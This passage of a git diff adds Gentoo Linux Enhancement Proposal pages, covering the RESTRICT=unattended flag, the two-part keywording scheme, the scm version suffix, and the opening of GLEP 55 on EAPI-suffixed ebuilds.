+Portage (and by extension other package managers) will support a new value for 
+the RESTRICT metadata variable called ``unattended``. This value may be used by
+the package manager and tools using its API to filter packages that require 
+interactive actions (for example to mask them in automated build environments).
+How the package manager exactly reacts on the presence of this new flag is beyond
+this specification, but it's recommended to indicate it's presence to the user
+whenever relevant.
+
+This new setting should be used in ebuilds if it is known that they _typically_
+require user attention during the build process. If an ebuild just has a limited
+``risk`` of becoming interactive (like using the ``built_with_use`` function)
+it shouldn't be restricted. Note that only package installation is covered here,
+interactivity in package removals (in pkg_prerm and pkg_postrm) can not be
+indicated with this feature.
+
+Rationale
+=========
+
+The new RESTRICT=unattended metadata setting will give us the following benefits:
+
+1. Enable masking of interactive ebuilds for automated build environments
+
+2. Metadata based searching for interactive ebuilds (superior to grep)
+
+3. Less frustrated users caused by ``hanging`` build processes
+
+This proposal does not change the existing policy regarding interactive ebuilds
+(ebuilds still should be non-interactive whenever possible), it merely states a 
+way to identify them.
+
+Backwards Compatibility
+=======================
+
+Strictly speaking this extension would requires an EAPI bump, however as existing 
+portage ignore unknown RESTRICT values it shouldn't cause any real breakage to 
+introduce it without.
+
+Reference Implementation
+========================
+
+A `patch against portage-2.1.2_pre2-r6`__ is available with this document.
+
+.. __: glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt
+
+
+Credits
+=======
+
+Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Alec Warner, Zac Medico, Simon Stelling
+
+References
+==========
+
+.. [#bug151113] http://bugs.gentoo.org/151113
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0053.html b/xml/htdocs/proj/en/glep/glep-0053.html
new file mode 100644
index 00000000..a19b5828
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0053.html
@@ -0,0 +1,144 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 53 -- Keywording scheme</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0053.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">53</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Keywording scheme</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.1</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0053.txt?cvsroot=gentoo">2007/07/22 10:03:18</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Fabian Groffen &lt;grobian&#32;&#97;t&#32;gentoo.org&gt;, Diego Pettenò &lt;flameeyes&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">11-Dec-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">13-Apr-2007</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id5" name="id5">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#specification" id="id8" name="id8">Specification</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP is a replacement of the keywording scheme from GLEP 22
+<a class="footnote-reference" href="#glep22" id="id1" name="id1">[1]</a>.  The current use of keywords is retained in favour of
+4-tuple keywords.  This GLEP defines how current keywords are to be
+interpreted, and how future keywords should be constructed.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="motivation" name="motivation">Motivation</a></h1>
+<p>Although the state of GLEP 22 <a class="footnote-reference" href="#glep22" id="id2" name="id2">[1]</a> is final, its keywording scheme
+was never propagated through the tree.  In fact, 4-tuple keywords are
+not used at all.  This GLEP defines a keywording scheme that is
+compatible with the scheme that is currently in use.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>The Gentoo/Alt project deals with different Operating Systems and
+architectures.  Recently Gentoo/FreeBSD for Sparc was introduced after
+support for x86 platforms.  This yielded in another new keyword.
+For these kind of platforms, a single field keyword is not enough to
+properly describe the OS and architecture.  While four fields in a
+keyword are overkill, two fields in a keyword should be enough for
+everyone.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The proposed keywording scheme is fully compatible with the current
+situation of the portage tree, this in contrast to GLEP 22.  The
+variables provided by GLEP 22 can't be extracted from the new keyword,
+but since GLEP 22-style keywords aren't in the tree at the moment, that
+is not a problem.  The same information can be extracted from the
+<tt class="docutils literal"><span class="pre">CHOST</span></tt> variable, if necessary.  No modifications to ebuilds will have
+to be made.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="specification" name="specification">Specification</a></h1>
+<p>Keywords will consist out of two parts separated by a hyphen (<tt class="docutils literal"><span class="pre">-</span></tt>).
+The left hand part of the keyword is the architecture, such as <cite>x86</cite>,
+<cite>sparc</cite> or <cite>ppc</cite>.  The right hand part indicates the operating system or
+distribution, such as <cite>linux</cite>, <cite>macos</cite>, <cite>solaris</cite> or <cite>fbsd</cite>.  If the
+right hand part is omitted, it implies the operating system/distribution
+type is GNU/Linux.  In such case the hyphen is also omitted.  Examples
+of such keywords are <tt class="docutils literal"><span class="pre">x86</span></tt> and <tt class="docutils literal"><span class="pre">sparc-fbsd</span></tt>.  This is fully
+compatible with the current keywords used in the tree.  Examples of
+OS/distributions for the right hand side of the keyword are:</p>
+<pre class="literal-block">
+(linux)          GNU/Linux (Gentoo biased, but not fixed)
+fbsd             FreeBSD
+macos            Apple Mac OS
+solaris          Sun Solaris
+</pre>
+<p>Both architecture as well as OS/distribution are lower-case ASCII
+(alpha) numeric character sequences.  A valid keyword matches the
+following expression:</p>
+<blockquote>
+<tt class="docutils literal"><span class="pre">[a-z0-9]+(-[a-z0-9]+)?</span></tt></blockquote>
+<p>Note that no limit on the length of both fields in the keyword are
+imposed.  However, we cannot overemphasize our preference to keep
+keywords small and sensible.</p>
+<table class="docutils footnote" frame="void" id="glep22" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="glep22">[1]</a></td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id2">2</a>)</em> GLEP 22, New &quot;keyword&quot; system to incorporate various
+userlands/kernels/archs, Goodyear,
+(<a class="reference" href="http://glep.gentoo.org/glep-0022.html">http://glep.gentoo.org/glep-0022.html</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0053.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0053.txt b/xml/htdocs/proj/en/glep/glep-0053.txt
new file mode 100644
index 00000000..7ce09614
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0053.txt
@@ -0,0 +1,97 @@
+GLEP: 53
+Title: Keywording scheme
+Version: $Revision: 1.1 $
+Last-Modified: $Date: 2007/07/22 10:03:18 $
+Author:	Fabian Groffen <grobian@gentoo.org>, Diego Pettenò <flameeyes@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 11-Dec-2005
+Post-History: 13-Apr-2007
+
+
+
+Abstract
+========
+
+This GLEP is a replacement of the keywording scheme from GLEP 22
+[#GLEP22]_.  The current use of keywords is retained in favour of
+4-tuple keywords.  This GLEP defines how current keywords are to be
+interpreted, and how future keywords should be constructed.
+
+
+Motivation
+==========
+
+Although the state of GLEP 22 [#GLEP22]_ is final, its keywording scheme
+was never propagated through the tree.  In fact, 4-tuple keywords are
+not used at all.  This GLEP defines a keywording scheme that is
+compatible with the scheme that is currently in use.
+
+
+Rationale
+=========
+
+The Gentoo/Alt project deals with different Operating Systems and
+architectures.  Recently Gentoo/FreeBSD for Sparc was introduced after
+support for x86 platforms.  This yielded in another new keyword.
+For these kind of platforms, a single field keyword is not enough to
+properly describe the OS and architecture.  While four fields in a
+keyword are overkill, two fields in a keyword should be enough for
+everyone.
+
+
+Backwards Compatibility
+=======================
+
+The proposed keywording scheme is fully compatible with the current
+situation of the portage tree, this in contrast to GLEP 22.  The
+variables provided by GLEP 22 can't be extracted from the new keyword,
+but since GLEP 22-style keywords aren't in the tree at the moment, that
+is not a problem.  The same information can be extracted from the
+``CHOST`` variable, if necessary.  No modifications to ebuilds will have
+to be made.
+
+
+Specification
+=============
+
+Keywords will consist out of two parts separated by a hyphen (``-``).
+The left hand part of the keyword is the architecture, such as `x86`,
+`sparc` or `ppc`.  The right hand part indicates the operating system or
+distribution, such as `linux`, `macos`, `solaris` or `fbsd`.  If the
+right hand part is omitted, it implies the operating system/distribution
+type is GNU/Linux.  In such case the hyphen is also omitted.  Examples
+of such keywords are ``x86`` and ``sparc-fbsd``.  This is fully
+compatible with the current keywords used in the tree.  Examples of
+OS/distributions for the right hand side of the keyword are:
+
+::
+
+	(linux)          GNU/Linux (Gentoo biased, but not fixed)
+	fbsd             FreeBSD
+	macos            Apple Mac OS
+	solaris          Sun Solaris
+
+Both architecture as well as OS/distribution are lower-case ASCII
+(alpha) numeric character sequences.  A valid keyword matches the
+following expression:
+
+	``[a-z0-9]+(-[a-z0-9]+)?``
+
+Note that no limit on the length of both fields in the keyword are
+imposed.  However, we cannot overemphasize our preference to keep
+keywords small and sensible.
+
+ 
+
+.. [#GLEP22] GLEP 22, New "keyword" system to incorporate various
+   userlands/kernels/archs, Goodyear,
+   (http://glep.gentoo.org/glep-0022.html)
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0054.html b/xml/htdocs/proj/en/glep/glep-0054.html
new file mode 100644
index 00000000..52d2f53d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0054.html
@@ -0,0 +1,192 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 54 -- scm package version suffix</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0054.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">54</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">scm package version suffix</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0054.txt?cvsroot=gentoo">2008/01/06 02:08:59</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Piotr Jaroszyński &lt;peper&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">09-Dec-2007</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">09-Dec-2007</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id2">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id3">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id4">Specification</a></li>
+<li><a class="reference internal" href="#version-comparison" id="id5">Version Comparison</a></li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id6">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#copyright" id="id7">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id2">Abstract</a></h1>
+<p>This GLEP proposes addition of a new special package version suffix - <tt class="docutils literal">scm</tt> -
+for ebuilds checking out source directly from a source code management system.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id3">Motivation</a></h1>
+<p>Currently there is no standard way of identifying SCM ebuilds. Using 9999 as the
+version is pretty common, but it is handled like any other ebuild and hence
+portage cannot provide any additional features for packages with such a version.
+Another way is adding a separate package with a -cvs suffix in its name, but
+that forces the author to use <tt class="docutils literal">|| ( cat/pkg <span class="pre">cat/pkg-cvs</span> )</tt> dependencies. The
+closest to what is proposed in this GLEP is the <tt class="docutils literal">cvs</tt> version part, but its
+implementation is of very limited use. It has strange comparison rules, no
+documentation, has been used sparingly (if ever) and has a misleading name.</p>
+<p>The possibility for package managers to recognise SCM ebuilds would allow them
+to add features dedicated specially to said ebuilds. One such feature could be
+automatic re-installation of SCM packages once a day or week.  Any
+specifications for such features are beyond the scope of this GLEP.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id4">Specification</a></h1>
+<p><tt class="docutils literal">scm</tt> is a special suffix. It can be used on its own, but also in any other
+valid version spec, just before the place where revision would go. And just like
+revision it can be used only once in a version spec, e.g.:</p>
+<blockquote>
+<ul class="simple">
+<li><tt class="docutils literal"><span class="pre">cat/pkg-1.0_alpha0-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">cat/pkg-1.0_alpha-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">cat/pkg-1.0-scm-r3</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">cat/pkg-1-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">cat/pkg-1-scm-r2</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">cat/pkg-scm</span></tt></li>
+</ul>
+</blockquote>
+<p>These package atoms are sorted in ascending order (see <a class="reference internal" href="#version-comparison">Version Comparison</a>).</p>
+</div>
+<div class="section" id="version-comparison">
+<h1><a class="toc-backref" href="#id5">Version Comparison</a></h1>
+<p>The addition of the scm suffix yields changes in version comparison:</p>
+<blockquote>
+<ul class="simple">
+<li>When comparing version components from left to right the scm component has the
+highest priority over other version components.  Hence
+<tt class="docutils literal"><span class="pre">pkg-1_alpha-r3</span> &lt; <span class="pre">pkg-1-scm</span></tt>, 'scm' is greater than 'alpha-r3'.</li>
+<li>Current suffixes with no number part no longer default to zero if they are
+followed by an scm suffix. If that's the case the number part is considered
+to be of a maximum value. Hence <tt class="docutils literal"><span class="pre">1_alpha2-scm</span> &lt; <span class="pre">1_alpha-scm</span></tt>, but still
+<tt class="docutils literal">1_alpha == 1_alpha0</tt>.  The rationale behind this choice is to allow
+multiple branches.  For instance imagine a package with an alpha branch
+and multiple scm releases, as the following: <tt class="docutils literal"><span class="pre">alpha-scm</span></tt>,
+<tt class="docutils literal"><span class="pre">alpha2-scm</span></tt>, <tt class="docutils literal"><span class="pre">alpha3-scm</span></tt> and so forth.  The desired outcome is
+for <tt class="docutils literal"><span class="pre">alpha-scm</span></tt> to be greater than all other branches of the same tree.</li>
+</ul>
+</blockquote>
+<p>Example parsing:</p>
+<blockquote>
+<ul>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">cat/pkg-scm</span> &gt; <span class="pre">cat/pkg-1</span></tt></dt>
+<dd><p class="first last">When parsing from left to right the first difference is <tt class="docutils literal">scm</tt> and
+<tt class="docutils literal">1</tt>. <tt class="docutils literal"><span class="pre">cat/pkg-scm</span></tt> wins.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">cat/pkg-1-scm</span> &gt; <span class="pre">cat/pkg-1.0-scm</span></tt></dt>
+<dd><p class="first last">When parsing from left to right the first difference is <tt class="docutils literal">scm</tt> and
+<tt class="docutils literal">0</tt>. <tt class="docutils literal"><span class="pre">cat/pkg-1-scm</span></tt> wins.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">cat/pkg-1_alpha-scm</span> &gt; <span class="pre">cat/pkg-1_alpha1-scm</span></tt></dt>
+<dd><p class="first last">In the first package version <tt class="docutils literal">alpha</tt> doesn't have a number part <em>and</em>
+is followed by an <tt class="docutils literal">scm</tt> suffix, hence it is considered to have a maximum
+value as the number part. When parsing from left to right the first
+difference is the number part of the <tt class="docutils literal">alpha</tt> suffix. Maximum value
+yielded by the following <tt class="docutils literal">scm</tt> suffix wins with <tt class="docutils literal">1</tt>.</p>
+</dd>
+</dl>
+</li>
+</ul>
+</blockquote>
+<p>List of version specs in ascending order:</p>
+<blockquote>
+<ul class="simple">
+<li><tt class="docutils literal">1</tt></li>
+<li><tt class="docutils literal"><span class="pre">1.1-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_alpha-scm</span></tt></li>
+<li><tt class="docutils literal">1.2_beta_p</tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta_p0-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta_p1-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta_p-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta1_p-scm</span></tt></li>
+<li><tt class="docutils literal">1.2_beta10</tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta10_p1-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta10-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2_beta-scm</span></tt></li>
+<li><tt class="docutils literal">1.2</tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2-scm</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1.2-scm-r1</span></tt></li>
+<li><tt class="docutils literal"><span class="pre">1-scm</span></tt></li>
+<li><tt class="docutils literal">10</tt></li>
+<li><tt class="docutils literal">scm</tt></li>
+<li><tt class="docutils literal"><span class="pre">scm-r3</span></tt></li>
+</ul>
+</blockquote>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id6">Backwards Compatibility</a></h1>
+<p>Portage versions prior to 2.1.2.12 (included in 2007.0) don't handle arbitrary
+version suffixes and die during various tasks making portage hard or impossible
+to use. Later versions just ignore them displaying warnings. Hence use of
+<tt class="docutils literal">scm</tt> suffixes in gentoo-x86 tree will probably have to wait till 2008.0
+release or later.</p>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id7">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=80 fileencoding=utf-8 spell spelllang=en et : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0054.txt">View document source</a>.
+Generated on: 2010-04-07 22:10 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0054.txt b/xml/htdocs/proj/en/glep/glep-0054.txt
new file mode 100644
index 00000000..b3c992c5
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0054.txt
@@ -0,0 +1,121 @@
+GLEP: 54
+Title: scm package version suffix
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2008/01/06 02:08:59 $
+Author: Piotr Jaroszyński <peper@gentoo.org>
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 09-Dec-2007
+Post-History: 09-Dec-2007
+
+Abstract
+========
+
+This GLEP proposes addition of a new special package version suffix - ``scm`` -
+for ebuilds checking out source directly from a source code management system.
+
+Motivation
+==========
+
+Currently there is no standard way of identifying SCM ebuilds. Using 9999 as the
+version is pretty common, but it is handled like any other ebuild and hence
+portage cannot provide any additional features for packages with such a version.
+Another way is adding a separate package with a -cvs suffix in its name, but 
+that forces the author to use ``|| ( cat/pkg cat/pkg-cvs )`` dependencies. The
+closest to what is proposed in this GLEP is the ``cvs`` version part, but its
+implementation is of very limited use. It has strange comparison rules, no
+documentation, has been used sparingly (if ever) and has a misleading name.
+
+The possibility for package managers to recognise SCM ebuilds would allow them
+to add features dedicated specially to said ebuilds. One such feature could be
+automatic re-installation of SCM packages once a day or week.  Any
+specifications for such features are beyond the scope of this GLEP.
+
+Specification
+=============
+
+
+``scm`` is a special suffix. It can be used on its own, but also in any other
+valid version spec, just before the place where revision would go. And just like
+revision it can be used only once in a version spec, e.g.:
+
+  *  ``cat/pkg-1.0_alpha0-scm``
+  *  ``cat/pkg-1.0_alpha-scm``
+  *  ``cat/pkg-1.0-scm-r3``
+  *  ``cat/pkg-1-scm``
+  *  ``cat/pkg-1-scm-r2``
+  *  ``cat/pkg-scm``
+
+These package atoms are sorted in ascending order (see `Version Comparison`_).
+
+Version Comparison
+==================
+
+The addition of the scm suffix yields changes in version comparison:
+
+  *  When comparing version components from left to right the scm component has the
+     highest priority over other version components.  Hence 
+     ``pkg-1_alpha-r3 < pkg-1-scm``, 'scm' is greater than 'alpha-r3'.
+  *  Current suffixes with no number part no longer default to zero if they are
+     followed by an scm suffix. If that's the case the number part is considered
+     to be of a maximum value. Hence ``1_alpha2-scm < 1_alpha-scm``, but still
+     ``1_alpha == 1_alpha0``.  The rationale behind this choice is to allow
+     multiple branches.  For instance imagine a package with an alpha branch
+     and multiple scm releases, as the following: ``alpha-scm``,
+     ``alpha2-scm``, ``alpha3-scm`` and so forth.  The desired outcome is
+     for ``alpha-scm`` to be greater than all other branches of the same tree.
+
+Example parsing:
+
+  *  ``cat/pkg-scm > cat/pkg-1``
+       When parsing from left to right the first difference is ``scm`` and
+       ``1``. ``cat/pkg-scm`` wins.
+  *  ``cat/pkg-1-scm > cat/pkg-1.0-scm``
+       When parsing from left to right the first difference is ``scm`` and
+       ``0``. ``cat/pkg-1-scm`` wins.
+  *  ``cat/pkg-1_alpha-scm > cat/pkg-1_alpha1-scm``
+       In the first package version ``alpha`` doesn't have a number part *and*
+       is followed by an ``scm`` suffix, hence it is considered to have a maximum
+       value as the number part. When parsing from left to right the first
+       difference is the number part of the ``alpha`` suffix. Maximum value
+       yielded by the following ``scm`` suffix wins with ``1``.
+
+List of version specs in ascending order:
+
+  *  ``1``
+  *  ``1.1-scm``
+  *  ``1.2_alpha-scm``
+  *  ``1.2_beta_p``
+  *  ``1.2_beta_p0-scm``
+  *  ``1.2_beta_p1-scm``
+  *  ``1.2_beta_p-scm``
+  *  ``1.2_beta1_p-scm``
+  *  ``1.2_beta10``
+  *  ``1.2_beta10_p1-scm``
+  *  ``1.2_beta10-scm``
+  *  ``1.2_beta-scm``
+  *  ``1.2``
+  *  ``1.2-scm``
+  *  ``1.2-scm-r1``
+  *  ``1-scm``
+  *  ``10``
+  *  ``scm``
+  *  ``scm-r3``
+
+
+Backwards Compatibility
+=======================
+
+Portage versions prior to 2.1.2.12 (included in 2007.0) don't handle arbitrary
+version suffixes and die during various tasks making portage hard or impossible
+to use. Later versions just ignore them displaying warnings. Hence use of
+``scm`` suffixes in gentoo-x86 tree will probably have to wait till 2008.0
+release or later.
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=80 fileencoding=utf-8 spell spelllang=en et :
diff --git a/xml/htdocs/proj/en/glep/glep-0055.html b/xml/htdocs/proj/en/glep/glep-0055.html
new file mode 100644
index 00000000..51112682
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0055.html
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 55 -- Use EAPI-suffixed ebuilds (.ebuild-EAPI)</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0055.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">55</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Use EAPI-suffixed ebuilds (.ebuild-EAPI)</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0055.txt?cvsroot=gentoo">2009/05/17 20:56:53</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Piotr Jaroszyński &lt;peper&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">17-Dec-2007</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">17-Dec-2007, 22-Dec-2007, 17-May-2009</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id3">Abstract</a></li>
+<li><a class="reference internal" href="#problem" id="id4">Problem</a></li>
